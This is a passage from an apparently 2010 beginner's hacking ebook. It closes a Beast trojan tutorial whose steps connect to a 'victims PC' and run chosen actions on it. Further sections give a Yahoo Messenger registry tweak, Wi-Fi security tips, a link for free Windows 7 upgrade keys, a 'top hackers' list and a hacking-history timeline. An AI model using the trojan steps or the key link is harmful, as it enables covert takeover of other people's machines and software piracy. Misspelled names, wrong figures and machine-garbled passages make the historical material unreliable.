Step 15:-Put This IP address and Port in the place shown in the below snap-shot.

Step 16:- After That Click on the "Go Beast” Button and You will be connected to victims PC.
Step 17:- Now select the action or task you want to execute on victims PC form the given list.
Step 18:- Now to destroy or kill the Trojan click on the “server “tab from the menu.

Step 19:-Now click on the “Kill Server “button and the Trojan will be destroyed from the victims PC.

Step 20:- You are Done Now.
“Do Not Harm or destroy any ones PC this tutorial is for educational Purpose.”
Read more:http://www.hackingtech.co.tv/index/making_of_trojan_using_beast_2_06/0-
77#ixzz152xyeVCC

46. Hacking yahoo messenger for multi login
We often chat on yahoo messenger. I don‘t think so that there is anyone who really doesn‘t know about yahoo messenger, hope you are agree with this comment? But what most people don‘t know is that we can chat with multiple accounts on yahoo messenger at same time. In other words we can chat with different Ids at same time.
So if you need to open and login multiple Yahoo! Messenger accounts as you have a few Yahoo! ID or various other reason, just use the small registry registration file below that once click, will modify and merge the registry setting required to run and execute multiple Yahoo! Messengers at the same time on a computer.
There are two Methods of doing this
1. Automatic Method
You just need to Download the file and install it into registry
2. Manual
Step1:- Open Registry Editor (regedit.exe) Click Start > Run and then type 'regedit' press enter.
Step2:- Then Look For- HKEY_CURRENT_ USER\Software\yahoo\ pager\Test.
Step3:- Then change this value of plural to like this- “plural”=dword: 00000001
“Download The File From here: http://www.hackingtech.co.tv/YahooMulti.rar ”.
“For beginners I will recommend the first method just download and install the script. People who do know registry they can try to manually do this hack.”

47. 5 Tips to secure your Wi-Fi a connection

1. Install a Firewall A firewall helps protect your PC by preventing unauthorized users from gaining access to your computer through the Internet or a network. It acts as a barrier that checks any information coming from the Internet or a network, and then either blocks the information or allows it to pass through to your computer.
2. Change the Administrative Password on your Wireless Routers Each manufacturer ships their wireless routers with a default password for easy initial access. These passwords are easy to find on vendor support sites, and should therefore be changed immediately.
3. Change the Default SSID Name and Turn off SSID Broadcasting This will require your wireless client computers to manually enter the name of your SSID (Service Set Identifier) before they can connect to your network, greatly minimizing the damage from the casual user whose laptop is configured to connect to any available SSID broadcast it finds. You should also change the SSID name from the factory default, since these are just as well-known as the default passwords
4. Disable DHCP for a SOHO network with only a few computers consider disabling DHCP (Dynamic Host Configuration Protocol) on your router and assigning IP addresses to your client computers manually. On newer wireless routers, you can even restrict access to the router to specific MAC addresses.
5. Replace WEP with WPA WEP (Wired Equivalent Privacy) is a security protocol that was designed to provide a wireless computer network with a level of security and privacy comparable to what is usually expected of a wired computer network. WEP is a very weak form of security that uses common 60 or 108 bit key shared among all of the devices on the network to encrypt the wireless data. Hackers can access tools freely available on the Internet that can crack a WEP key in as little as 15 minutes. Once the WEP key is cracked, the network traffic instantly turns into clear text – making it easy for the hacker to treat the network like any open network. WPA (Wi-Fi Protected Access) is a powerful, standards-based, interoperable security technology for wireless computer networks. It provides strong data protection by using 128-bit encryption keys and dynamic session keys to ensure a wireless computer network's privacy and security. Many cryptographers are confident that WPA addresses all the known attacks on WEP. It also adds strong user authentication, which was absent in WEP.

48. Upgrade Windows 7 to any higher version
How to Upgrade Windows 7 to Any Higher Version for Free

You bought a new computer with a pre-installed Starter/Home Premium/Professional (Genuine) version of Windows 7 and want to upgrade to Professional or Ultimate for free in as few as 10 minutes .
Your pre-installed version of Windows 7 actually includes all files that are necessary to perform an in-place (local) upgrade without downloading anything from the internet. One simply needs unlocking features included in higher versions.
You can upgrade Windows 7 from/to:
Here's what you need to do:
To upgrade from one edition of Windows 7 to another edition of Windows 7, use Windows Anytime Upgrade. On your PC, open Windows Anytime Upgrade by clicking the Start button, typing Windows Anytime Upgrade in the search box, and then clicking Windows Anytime Upgrade in the list of results. You will be presented with a screen offering 2 options, one of them suggesting you have a valid Windows Anytime Upgrade key.
Once the key has been copied into the appropriate field, it will be verified by MS and the upgrade process will take place. The whole process actually doesn't last longer than 10 minutes, your computer will reboot once or twice. Upon restart, you will notice it now runs a genuine higher version of Windows 7.
* You can use Windows Anytime Upgrade to upgrade from a 32-bit version of Windows 7 to a 32-bit version of Windows 7 and from a 64-bit version of Windows 7 to a 64-bit version of Windows 7, but you can’t upgrade from a 32-bit version of Windows 7 to a 64-bit version of Windows 7 or vice versa.
* Windows Anytime Upgrade isn’t available in all editions of Windows 7 - obviously not in Ultimate version.
“Download Windows Anytime Upgrade key from here: http://u.to/MSek

49. World’s top 10 internet hackers of all time
What can hackers do to our PC? Are they really can break our security? The portrayal of hackers in the media has ranged from the high-tech super-spy, as in Mission Impossible where Ethan Hunt repels from the ceiling to hack the CIA computer system and steal the "NOC list,” to the lonely anti-social teen who is simply looking for entertainment.
Black Hat Hackers -
A black hat hacker, also known as a cracker or a dark side hacker (this last definition is a direct reference to the Star Wars movies and the dark side of the force), is someone who uses his skills with a criminal intent. Some examples are:

cracking bank accounts in order to make transferences to their own accounts, stealing information to be sold in the black market, or attacking the computer network of an organization for money.

1) Jonathan James

James cracked into NASA computers, stealing software worth approximately $1.7 million. According to the Department of Justice, "The software supported the International Space Station's physical environment, including control of the temperature and humidity within the living space." NASA was forced to shut down its computer systems, ultimately racking up a $41,000 cost. James explained that he downloaded the code to supplement his studies on C programming, but contended," The code itself was crappy . . . certainly not worth $1.7 million like they claimed."

2) Adrian Lamo

Adrian Lamo around computers as a very young child. He had a Commodore 64 when he was like 6 or so. And his first interest in seeing how things worked behind the scenes wasn't all about technology necessarily, and his interest in what you might call hacking isn't really primarily about technology…He said" It's not sexy when I'm exploring less obvious aspects of the world that don't involve multibillion-dollar corporations. There's a certain amount of tunnel vision there."

Last year, Lamo earned the disapproval of his probation officer in the closing months of his two year probation term when he refused to provide a blood sample for the FBI's DNA database. The Combined DNA Index System, or CODIS, was created to catalog violent criminals and sexual predators, but the 2004 Justice for All Act expanded the system to include samples from all newly convicted federal felons, including drug offenders and white-collar criminals.

3) Kevin Mitnick

Kevin David Mitnick (born August 6, 1963) is a computer security consultant and author. In the late 20th century, he was convicted of various computer- and communications-related crimes. At the time of his arrest, he was world-famous as the most-wanted computer criminal in the United States.Mitnick gained unauthorized access to his first computer network in 1979, at 16, when a friend gave him the phone number for the Ark, the computer system Digital Equipment Corporation (DEC) used for developing their RSTS/E operating system software. He broke into DEC's computer network and copied DEC's software, a crime he was charged with and convicted of in 1988. He was sentenced to 12 months in prison followed by three years of supervised release. Near the end of his supervised release, Mitnick hacked into Pacific Bell voice mail

computers.
After a warrant was issued for his arrest, Mitnick fled, becoming a fugitive for two and a half years. According to the U.S. Department of Justice, Mitnick gained unauthorized access to dozens of computer networks while he was a fugitive. He used cloned cellular phones to hide his location and, among other things, copied valuable proprietary software from some of the country's largest cellular telephone and computer companies. Mitnick also intercepted and stole computer passwords, altered computer networks, and broke into and read private e-mail. Mitnick was apprehended in February 1995 in North Carolina. He was found with cloned cellular phones, more than 100 clone cellular phone codes, and multiple pieces of false identification.

4) Kevin Poulsen
Kevin Poulsen was among the most accomplished, multi-talented hackers. He worked for SRI International by day, and hacked at night under the handle "Dark Dante". He trained to be the complete hacker, and even taught himself lock picking. Among other things, Poulsen reactivated old Yellow Page escort telephone numbers for an acquaintance that then ran a virtual agency. When the FBI started pursuing Poulsen, he went underground as a fugitive. When he was featured on NBC's Unsolved Mysteries, the show's 1-800 telephone lines mysteriously crashed. He was finally arrested in February, 1995.
Poulsen's best known hack was a takeover of all of the telephone lines for Los Angeles radio station KIIS-FM, guaranteeing that he would be the 102nd caller, and winning a Porsche 944 S2. In June 1994, Poulsen pleaded guilty to seven counts of mail, wire and computer fraud, money laundering, and obstruction of justice, and was sentenced to 51 months in prison and ordered to pay $56,000 in restitution. It was the longest sentence ever given for hacking up to that time. He also later pleaded guilty to breaking into computers and obtaining information on undercover businesses run by the FBI.
5) Robert Tappan Morris
Morris, son of former National Security Agency scientist Robert Morris, is known as the creator of the Morris Worm, the first computer worm to be unleashed on the Internet. As a result of this crime, he was the first person prosecuted under the 1986 Computer Fraud and Abuse Act. Morris wrote the code for the worm while he was a student at Cornell. He asserts that he intended to use it to see how large the Internet was. The worm, however, replicated itself excessively,

slowing computers down so that they were no longer usable. It is not possible to know exactly how many computers were affected, but experts estimate an impact of 6,000 machines. He was sentenced to three years' probation, 400 hours of community service and a fined $10,500.

Hacking For Beginners – Manthan Desai 2010

w w w . h a c k i n g t e c h . c o . t v

Page 234

Now we have. .

White Hat Hackers –

White hat hackers, also known as ethical hackers, or white knights, are computer security experts, who specialize in penetration testing, and other testing methodologies, to ensure that a company's information systems are secure. Such people are employed by companies where these professionals are sometimes called "sneakers." Groups of these people are often called tiger teams or red teams. These security experts may utilize a variety of methods to carry out their tests, including social engineering tactics, use of hacking tools, and attempts to evade security to gain entry into secured areas.

1) Stephen Wazniak

Stephen Wazniak, one of the founders of Apple Computer and a long-time hacker hero, recalled the days when a young hacker could twiddle the phone system and make a free phone call to the pope without fear that a goofy prank would turn into an international incident. Steve Wozniak got the first inspirations by its father Jerry, which worked as an engineer at Lockheed, and by the fiktionalen miracle boy Tom Swift. Its father stuck on it with the fascination for electronics and examined frequently the inventions of its son. Tom Swift was on the other hand for it the product of creative liberty, scientific knowledge and the ability to find problem solutions. Tom Swift showed it also the large prices, which expected him as inventors. Until today Wozniak returns to the world from Tom Swift and reads out the books to its own children, in order to inspire it.

2) Tim Berners-Lee

Berners-Lee is famed as the inventor of the World Wide Web, the system that we use to access sites, documents and files on the Internet. He has received numerous recognitions, most notably the Millennium Technology Prize. While working with CERN, a European nuclear research organization, Berners-Lee created a hypertext prototype system that helped researchers share and update information easily. He later realized that hypertext could be joined with the Internet. Berners-Lee recounts how he put them together: "I just had to take the hypertext idea and connect it to the TCP and DNS

ideas and "ta-da!” the World Wide Web.”
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 235
Since his creation of the World Wide Web, Berners-Lee founded the World Wide Web Consortium at MIT. The W3C describes itself as "an international consortium where Member organizations, a full-time staff and the public work together to develop Web standards.” Berners-Lee’s World Wide Web idea, as well as standards from the W3C, is distributed freely with no patent or royalties due.
3) Linus Torvalds
In 1991 Linus Torvalds was a college student at the University of Helsinki. Starting with the basics of a UNIX system, he wrote the kernel – original code – for a new system for his x86 PC that was later dubbed Linux (pronounced linn-ucks). Torvalds revealed the original source code for free – making him a folk hero among programmers – and users around the world began making additions and now continue to tweak it. Linux is considered the leader in the practice of allowing users to re-program their own operating systems. Currently, Torvalds serves as the Linux ringleader, coordinating the code that volunteer programmers contribute to the kernel. He has had an asteroid named after him and received honorary doctorates from Stockholm University and University of Helsinki. He was also featured in Time Magazine’s "60 Years of Heroes.”
4) Richard Stallman
Richard Matthew Stallman (born March 16, 1953), often abbreviated "rms”,*1+ is an American software freedom activist, and computer programmer. In September 1983, he launched the GNU Project to create a free Unix-like operating system, and has been the project’s lead architect and organizer. With the launch of the GNU Project, he initiated the free software movement and, in October 1985, set up the Free Software Foundation. Stallman’s life continues to revolve around the promotion of free software. He works against movements like Digital Rights Management (or as he prefers, Digital Restrictions Management) through organizations like Free Software Foundation and League for Programming Freedom. He has received extensive recognition for his work, including awards, fellowships and four honorary doctorates.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 236

5) Tsutomu Shimomura

Shimomura reached fame in an unfortunate manner: he was hacked by Kevin Mitnick. Following this personal attack, he made it his cause to help the FBI capture him. Shimomura's work to catch Mitnick is commendable, but he is not without his own dark side. Author Bruce Sterling recalls: "He pulls out this AT&T cellphone, pulls it out of the shrinkwrap, fingerhacks it, and starts monitoring phone calls going up and down Capitol Hill while an FBI agent is standing at his shoulder, listening to him." Shimomura out-hacked Mitnick to bring him down. Shortly after finding out about the intrusion, he rallied a team and got to work finding Mitnick. Using Mitnick's cell phone, they tracked him near Raleigh-Durham International Airport.

The article, "SDSC Computer Experts Help FBI Capture Computer Terrorist" recounts how Shimomura pinpointed Mitnick's location. Armed with a technician from the phone company, Shimomura "used a cellular frequency direction-finding antenna hooked up to a laptop to narrow the search to an apartment complex." Mitnick was arrested shortly thereafter. Following the pursuit, Shimomura wrote a book about the incident with journalist John Markoff, which was later turned into a movie.

50. The complete History of hacking

Maybe not the complete history but a valid attempt. A complete hacker history will never be obtainable since so much of the history is fragmented, unfounded and unreported.This will not be a complete list but a work in progress.

1960s

[1960 Nov] Telephone calls are switched for the first time by computer.

[1963] Dartmouth College, located in Hanover, New Hampshire, incorporates the introduction to the use of computers as a regular part of the Liberal Arts program.

[1963] ASCII (American Standard Code for Information Interchange) is created, permitting machines from different manufacturers to exchange data. ASCII consists of 128 unique strings of ones and zeros.

[1964] There are approximately 18,200 computer systems in the United States. Over 70% of those computers were manufactured by International Business Machines (IBM).

[1964] Thomas Kurtz and John Kemeny created BASIC (Beginner's All-Purpose Symbolic Instruction Code), an easy- tolearn programming language, for their students at Dartmouth College.

[1967] The Advanced Research Projects Agency (ARPA) work with U.S. computer experts to form a network of Interface Message Processors (IMPS). The computers would act as gateways to mainframes at a variety of institutions in the United States and provide a major part of what would become the Internet in the years ahead.

[1969] The Advanced Research Projects Agency (ARPA) originates ARPANET , a service designed to provide efficient ways to communicate for scientists. A Cambridge, Massachusetts consulting firm, Bolt Beranek and Newman, who won a ARPA contract to design and build a network of Interface Message Processors (IMPS) the year prior, ships (Sept) the first unit to UCLA and ships (Oct) the second unit to Stanford Research Institute. IMPS act as gateways to mainframes at a variety of institutions in the United States. Within a few days of delivery, the machine at UCLA and Stanford link up for the first time and ARPANET is founded. Later the network expands to four nodes. The first four nodes (networks) consisted of the, University of California Los Angeles, University of California Santa Barbara, University of Utah and the Stanford Research Institute. This system would evolve to be known as the Internet or the Information Super Highway.

[1969] Intel makes the announcement of a much larger RAM chip. It boasts of a 1KB capacity.

[1969] Ken L. Thompson , Dennis M. Ritchie and others start working on the UNIX operating system at Bell Labs (later AT&T). UNIX was designed with the goal of allowing several users to access the computer simultaneously.

[1969] The first computer hackers emerge at MIT. They borrow their name from a term to describe members of a model train group at the school who "hack" the electric trains, tracks, and switches to make them perform faster and differently. A few of the members transfer their curiosity and rigging skills to the new mainframe computing systems being studied and developed on campus.

[1969] Joe Engressia ('The Whistler', 'Joybubbles' and 'High Rise Joe') considered the father of phreaking. Joe, who is blind, was a mathematics student at USF in the late 1960s when he discovered that he could whistle into a pay telephone the precise pitch --the 2600- cycle note, close to a high A- - that would trip phone circuits and allow him to make long-distance calls at no cost.

1970s

[1970] An estimated 100,000 computer systems are in use in the United States.

[1970] Digital Equipment Corporation (DEC) introduces the famous PDP- 11, which is considered to be one of the best designed minicomputers ever, and many of the machines are still used today. Some of the best computer hackers in the world cut their teeth on -11's.

[1971] The first personal computer, the Kenback , is advertised in the September issue of Scientific American.

[1971] John Draper ('Cap'n Crunch') learns that a toy whistle given away inside Cap'n Crunch cereal generates a 2600-hertz signal, the same high-pitched tone that accesses AT&T's long-distance switching system. Draper builds a blue box that, when used in conjunction with the whistle and sounded into a phone receiver, allows phreakers to make free calls.

[1971] Esquire magazine publishes Secrets of the Little Blue Box with instructions for making a blue box, and wire fraud in the United States escalates. Among the perpetrators: college kids Steve Wozniak and Steve Jobs, future founders of Apple Computer, who launch a home industry making and selling blue boxes .

[1971] First e-mail program written by Ray Tomlinson and used on ARPANET which now has 64 nodes. Tomlinson of Bolt Beranek and Newman, contracted by the Advanced Research Projects Agency (ARPA) to create the ARPANET , selects the @ symbol to separate user names in e-mail as the first e-mail messages are sent between computers.

[1972 May] John Draper arrested for phone phreaking and sentenced to four months in California's Lompoc prison.

[1973] Intel ’ s chairman, Gordon Moore, publicly reveals the prophecy that the number of transistors on a microchip will double every year and a half. Moore ’s Law will hold true for more than twenty years.

[1975] About 13,000 cash dispensing Automatic Teller Machines (ATM) are installed.

[1975] Atari, Inc. ’s home version of PONG begins selling at 900 Sears and Roebuck stores under the Sears ’ Telegames brand.

[1975 Aug] William Henry Gates, III (Bill Gates) and Paul Allen found Microsoft .

[1976] David R. Boggs and Robert M. Metcalfe invent Ethernet at Xerox in Palo Alto, California.

[1976 Apr] Stephen Wozniak, Steven Paul Jobs and Ron Wayne sign an agreement that founds Apple Computer on April 1.

[1977 Aug 3] The TRS- 80 ('Trash- 80') Model I offered to the public and becomes the first desktop computer.

[1977 Dec] The Atari 2600 is selling for $199.95 and includes one game and two controllers.

[1978] Bill Joy produces first Berkeley Software Distribution (BSD) of UNIX.

[1978] There are an estimated 5,000 desktop computers in use within the United States.

[1978] Kevin David Mitnick ('Condor') meets phone phreak Lewis De Payne ('Roscoe') of Roscoe gang while harassing a HAM radio operator on the air in Southern California.

[1979] The C Programming Language by Brian W. Kernighan and Dennis M. Ritchie is published.

[1979 Jun] The Apple II+ with 48K RAM and a new “auto- start” ROM is introduced by Apple Computer for $1,195.

1980s

[1980] There is an estimated 350,000 computer terminals "networked" with larger "host" computers.

[1980] Nintendo, Ltd. releases Donkey Kong as a coin-operated arcade game.

[1980] Usenet is born, networking UNIX machines over slow phone lines. Usenet eventually overruns ARPANET as the virtual bulletin board of choice for the emerging hacker nation.

[1980 Dec] Roscoe Gang, including Kevin Mitnick , invade computer system at US Leasing.

[1981] Kenji Urada, 37, becomes the first reported death caused by a robot. A self-propelled robotic cart crushed him as he was trying to repair it in a Japanese factory. :-)

[1981] Commodore Business Machines starts shipping the VIC- 20 home computer. It features a 6502 microprocessor, 8 colors and a 61-key keyboard. Screen columns are limited to 22 characters. The product is manufactured in West Germany and sells in the U.S. for just under $300.

[1981 Jul] Microsoft acquires complete rights to Seattle Computer Product ’ s DOS and names itMS-DOS.

[1981] Ian Murphy ('Captain Zap') was the first hacker to be tried and convicted as a felon. Murphy broke intoAT&T's computers and changed the internal clocks that metered billing rates. People were getting late-night discount rates when they called at midday.

[1981 May 23] Kevin Mitnick, 17, is arrested for stealing computer manuals from Pacific Bell's switching center in Los Angeles, California. He will be prosecuted as a juvenile and sentenced to probation.

[1981 May 28] First mention of Microsoft on Usenet.

[1982] There are an estimated 3 million computer terminals "networked" with larger "host" computers. Also, there are an estimated number of 5 million desktop computers in use within the United States. More than 100 companies make personal computers.

[1982] Sun Microsystems , Inc. is founded by four 27-year-old men; Andreas von Bechtolsheim, Vinod Khosla, Scott McNealy and Bill Joy.
[1982] As hacker culture begins to erode, losing some of its brightest minds to commercial PC and software start-ups, Richard Stallman starts to develop a free clone of UNIX, written in C, that he calls GNU (for Gnu's Not Unix).
[1982] Lewis De Payne ('Roscoe') pleas guilty to conspiracy and fraud. Sentence: 150 days in jail. Accomplice gets thirty. Mitnick gets ninety day diagnostic study by juvenile justice system, plus a year probation.
[1982] Kevin Mitnick cracks Pacific Telephone system and TRW; destroys data.
[1982] William Gibson coins term "cyberspace."
[1982] '414 Gang' phreakers raided. '414 Private' BBS was where the '414 Gang' would exchange information while breaking into systems of Sloan- Kettering Cancer Center and Los Alamos military computers.
[1982 Aug] Commodore ships the Commodore 64 computer and enters more than one million homes during this first year. The C-64 was the first home computer with a standard 64K RAM. With an suggested retail price of $595, it was considered a huge value. It included a keyboard, CPU, graphics and sound chips.
[1982 Sep 19] Scott E. Fahlman typed the first on- line smiley, :-)
[1983] The Internet is formed when ARPANET is split into military and civilian sections.
[1983] The movie WarGames is released, Matthew Broderick plays a computer whiz kid who inadvertently initiates the countdown to World War III.
[1983] Plovernet BBS (Bulletin Board System) was a powerful East Coast pirate board that operated in both New York and Florida. Owned and operated by teenage hacker 'Quasi Moto', Plovernet attracted five hundred eager users in 1983.

Eric Corley ('Emmanuel Goldstein') was one- time co-sysop of Plovernet, along with 'Lex Luthor', who would later found the phreaker/hacker group, Legion of Doom.
[1983 Sep 22] Kevin Poulsen ('Dark Dante') and Ron Austin are arrested for breaking into the ARPANET . At 17 Poulsen is not prosecuted and Austin receives 3 years probation.
[1983 Sep 27] Richard Stallman makes the first Usenet announcement about GNU.
[1983 Nov 12] First mention of Microsoft Windows on Usenet.

[1984] Andrew Tanenbaum writes the first version of Minix, a UNIX intended for educational purposes. Minix later gave Linus Torvalds the inspiration to start writing Linux .

[1984] The University of California at Berkeley released version 4.2BSD which included a complete implementation of the TCP/IP networking protocols. Systems based on this and later BSD releases provided a multi-vendor networking capability based on Ethernet networking.

[1984] Bill Landreth ('The Cracker') is convicted of breaking into some of the most secure computer systems in the United States, including GTE Telemail's electronic mail network, where he peeped at NASA Department of Defense computer correspondence. In 1987 Bill violated his probation and was back in jail finishing his sentence. Bill also authored an interesting read titled 'Out of the Inner Circle'.

[1984] Legion of Doom formed. Legion of Doom, a hacker group which operated in the United States in the late 1980's. The group's wide ranging activities included diversion of telephone networks, copying proprietary information from companies and distributing hacking tutorials. Members included: 'Lex Luther' (founder), Chris Goggans ('Erik Bloodaxe'), Mark Abene ('Phiber Optik'), Adam Grant ('The Urvile'), Franklin Darden ('The Leftist'), Robert Riggs ('The Prophet'), Loyd Blankenship ('The Mentor'), Todd Lawrence ('The Marauder), Scott Chasin ('Doc Holiday'), Bruce Fancher ('Death Lord'), Patrick K. Kroupa ('Lord Digital'), James Salsman ('Karl Marx'), Steven G. Steinberg ('Frank Drake'), Corey A. Lindsly ('Mark Tabas'), 'Agrajag The Prolonged', 'King Blotto', 'Blue Archer', 'The Dragyn', 'Unknown Soldier', 'Sharp Razor', 'Doctor Who', 'Paul Muad'Dib', 'Phucked Agent 04', 'X-man', 'Randy Smith', 'Steve Dahl, 'The Warlock', 'Terminal Man', 'Silver Spy', 'The Videosmith', 'Kerrang Khan', 'Gary Seven', 'Bill From RNOC', 'Carrier Culprit', 'Master of Impact', 'Phantom Phreaker', 'Doom Prophet', 'Thomas Covenant', 'Phase Jitter', 'Prime Suspect', 'Skinny Puppy' and 'Professor Falken'.

[1984] 2600: The Hacker Quarterly founded by Eric Corley ('Emmanuel Goldstein').

[1984 Jun 19] The X Window System is released by Robert W. Scheifler.

[1985] Hacker 'zine Phrack is first published by Craig Neidorf ('Knight Lightning') and Randy Tischler ('Taran King').

[1985 May 24] Date of incorporation under original founding name, Quantum Computer Services (America Online).

[1986] The Congress passes Computer Fraud and Abuse Act. The law, however, does not cover juveniles.

[1986] The german hacker group, Chaos Computer Club, hacked information about the german Nuclear Power Program from government computers during the Chernobyl crisis.

[1986 Jan 8] Legion of Doom/H member Loyd Blankenship ('The Mentor') is arrested around this time. He publishes a

now- famous treatise that comes to be known as the Hacker's Manifesto.
[1986 Feb 26] The Phoenix Fortress BBS issues warrants for the arrest and confiscation of the equpment of 7 local users in Fremont, CA. The Sysop turns out to be a local law enforcement agent and the Phoenix Fortress created to catch hackers and software pirates.
[1986 Sep 1] An unknown suspect or group of suspects using the code name Pink Floyd repeatedly accessed the UNIX and Portia computer systems at Stanford University without authorization. Damage was estimated at $10,000.

[1986 Aug] In August, while following up a 75 cent accounting error in the computer logs at the Lawrence Berkeley Lab at the University of California, Berkeley, network manager Clifford Stoll uncovers evidence of hackers at work. A yearlong investigation results in the arrest of the five german hackers responsible.
[1987 Sep 14] It's disclosed publicly that young german computer hackers calling themselves the Data Travellers, managed to break into NASA network computers and other world-wide top secret computer installations.
[1987 Nov 23] Chaos Computer Club hacks NASA's SPAN network.
[1987 Dec] Kevin Mitnick invades systems at Santa Cruz Operation. Mitnick sentenced to probabtion for stealing software from SCO, after he cooperates by telling SCO engineers how he got into their systems.
[1988 Jun] The U.S. Secret Service (USSS) secretly videotapes the SummerCon hacker convention.
[1988 Nov 2] Robert T. Morris, Jr., a graduate student at Cornell University and son of a chief scientist at a division of the National Security Agency (NSA), launches a self- replicating worm on the government's ARPANET (precursor to the Internet) to test its effect on UNIX systems. The worm gets out of hand and spreads to some 6,000 networked computers, clogging government and university systems. Morris is dismissed from Cornell, sentenced to three years probation and fined $10,000.
[1988 Nov 3] First mention of the Morris worm on Usenet.
[1988 Dec] Legion of Doom hacker Robert Riggs ('The Prophet') cracks BellSouth AIMSX computer network and downloads E911 document (describes how the 911 emergency phone system works). Riggs sends a copy toPhrack editor Craig Neidorf ('Knight Lightning'). Both Craig and Robert are raided by Federal authorities and later indicted. The indictment said the "computerized text file" was worth $79,449, and a BellSouth security official testified at trial it was

worth $24,639. The trial began on July 23, 1990 but the proceedings unexpectedly ended when the government asked the court to dismiss all the charges when it was discovered that the public could call a toll- free number and purchase the same E911 document for less than $20.

[1988 Dec 16] 25-year-old computer hacker Kevin Mitnick is held without bail on charges that include stealing $1 million in software from DEC (Digital Equipment Corporation), including VMS source code, and causing that firm $4 million in damages.

[1989] 22-year-old computer hacker and ex-LOD member Corey Lindsly ('Mark Tabas') pleaded guilty to felony charges relating to using a computer to access US West's system illegally, which resulted in five years probation. [see also 1995 Feb. 'Phonemasters']

[1989] At the Cern laboratory for research in high-energy physics in Geneva, Tim Berners- Lee and Robert Cailliau develop the protocols that will become the world wide web.

[1989 Jan 23] Herbert Zinn ('Shadowhawk'), a high school dropout, was the first to be convicted (as a juvenile) under the Computer Fraud and Abuse Act of 1986. Zinn was 16 when he managed to break into AT&T and Department of Defense systems. He was convicted on January 23, 1989, of destroying $174,000 worth of files, copying programs valued at millions of dollars, and publishing passwords and instructions on how to violate computer security systems. Zinn was sentenced to nine months in prison and fined $10,000.

[1989 May] A task force in Chicago raids and arrests an alleged computer hacker known as 'Kyrie'.

[1989 Jun] An underground group of hackers known as the NuPrometheus League distributes proprietary software illegally obtained from Apple Computer .

[1989 Jul 21] Known as the "Atlanta Three" case, 3 members of the LOD/H (Legion of Doom) where charged with hacking into Bell South's Telephone (including 911) Networks - possessing proprietary BellSouth software and Information, unauthorized intrusion, illegal possession of phone credit card numbers with intent to defraud, and Conspiracy. The three hackers where: Franklin Darden ('The Leftist'), Adam Grant ('The Urvile' and 'Necron 99'), Robert Riggs ('The Prophet').

[1989 Jun 22] 'Fry Guy', a 16-year-old in Elmwood, Indiana cracks into McDonald's mainframe on the Sprint Telenet system. One act involved the young hacker altering phone switches so that calls to a Florida county probation

department would ring at a New York phone- sex line answered by "Tina." On September 14 1990, he was sentenced to forty- four months probation and four hundred hours community service.

1990s

[1990] Electronic Frontier Foundation is formed by Mitch Kapor and John Perry Barlow in part to defend the rights of those investigated for alleged computer hacking.

[1990] Kevin Poulsen's now- infamous incident with KIIS-FM in Los Angeles. In 1990 the station ran the "Win a Porsche by Friday" contest, with a $50,000 Porsche given to the 102nd caller. Kevin and his associates, stationed at their computers, seized control of the station's 25 telephone lines, blocking out all calls but their own. Then he dialed the 102nd call -- and later collected his Porsche 944.

[1990 Jan 15] AT&T's long-distance telephone switching system crashed. During the nine long hours of frantic effort that it took to restore service, some seventy million telephone calls went uncompleted. Hackers where first suspected of causing the crash but later AT&T engineers discovered the "culprit" was a bug in AT&T's own software.

[1990 Jan 18] Chicago task force raids an alleged computer hacker Craig Neidorf ('Knight Lightning') in St. Louis.

[1990 Feb] U.S. Secret Service raid an alleged computer hacker Len Rose ('Terminus') in Maryland. Len somehow got his hands on System V 3.2 AT&T Unix Source Code, including the source login.c

[1990 Feb 21] Chicago Task Force raids the home of Robert Izenberg, an alleged computer hacker in Austin.

[1990 Mar 1] Chicago task force raids Steve Jackson Games, Inc. Reportedly, workers Loyd Blankenship ('The Mentor') and Chris Goggans ('Erik Bloodaxe'), had ties to a hacker group (LOD) that the Justice Department was investigating. Finding a rulebook to a game called G.U.R.P.S. CYBERPUNK , raiders interpreted the findings as a tutorial on computer hacking and proceeded to seize equipment and documents found at the site. Steve Jackson Games, Inc. prevailed in an ensuing legal battle, however their equipment was never returned in its entirety.

[1990 May 7] May 7 through Wednesday, May 9, the United States Secret Service and the Arizona Organized Crime and Racketeering Bureau implement Operation Sundevil computer hacker raids in Cincinnati, Detroit, Los Angeles, Miami, Newark, Phoenix, Pittsburgh, Richmond, Tucson, San Diego, San Jose and San Francisco.

[1990 Mar 7] A 24 year-old Denver man, Richard G. Wittman Jr., has admitted breaking into aNASA computer system. In a plea bargain, Wittman plead guilty to a single count of altering information - a password inside a federal computer.

[1990 Apr] Between April 1990 and May 1991, computer hackers from the Netherlands penetrated 34DOD sites. At many of the sites, the hackers had access to unclassified, sensitive information on such topics as military personnel- -

personnel performance reports, travel information, and personnel reductions; logistics- -descriptions of the type and quantity of equipment being moved; and weapons systems development data.

[1990 May] At least four British clearing banks are being blackmailed by a mysterious group of computer hackers who have broken into their central computer systems. The hackers demanded substantial sums of money in return for showing the banks how their systems where penetrated. One computer expert described their level of expertise and knowledge of the clearing bank computer systems as "truly frightening".

[1991] The Internet, having been established to link the military and educational institutions banned access to businesses. That ban is lifted this year.

[1991] Rumors circulate about the Michelangelo virus, a program expected to crash computers on March 6, 1992, the artist's 517th birthday. Doomsday passes without much incident.

[1991 Feb] DOS version of AOL released.

[1991 Apr 11] Kevin Poulsen ('Dark Dante') arrested for breaking into Pacific Bell phone systems.

[1991 Jul] Justin Petersen ('Agent Steal' and 'Eric Heinz') arrested for breaking into TRW, stealing credit cards.

[1991 Aug 6] Tim Berners- Lee's Usenet announcement of the World Wide Web project.

[1991 Sep] Justin Petersen released from prison to help FBI track hacker Kevin Mitnick .

[1991 Sep 17] Linus Torvalds publicly releases Linux version 0.01. While a computer science student at the University of Helsinki Linus created the Linux operating. Linus originally named his operating system Freax.

[1991 Oct 5] Linus Torvalds decides to announce the availability of a free minix- like kernel called Linux on Usenet.

[1992] Masters of Deception (MOD) phone phreakers busted via wiretaps.

[1992] Morty Rosenfeld convicted after hacking into TRW, stealing credit card numbers and selling credit reports.

[1992 Jan 29] Minix creator, Andy Tanenbaum, posts the infamous LINUX is obsolete newsgroup posting on comp.os.minix. Later, Linux creator Linus Torvalds quickly responds to the posting.

[1992 Nov] Kevin Mitnick cracks into California Department of Motor Vehicles.

[1993 Mar 1] Microsoft releases Windows NT.

[1993 Jun] Slackware , by Patrick Volkerding, becomes the first commercial standalone distribution of Linux .

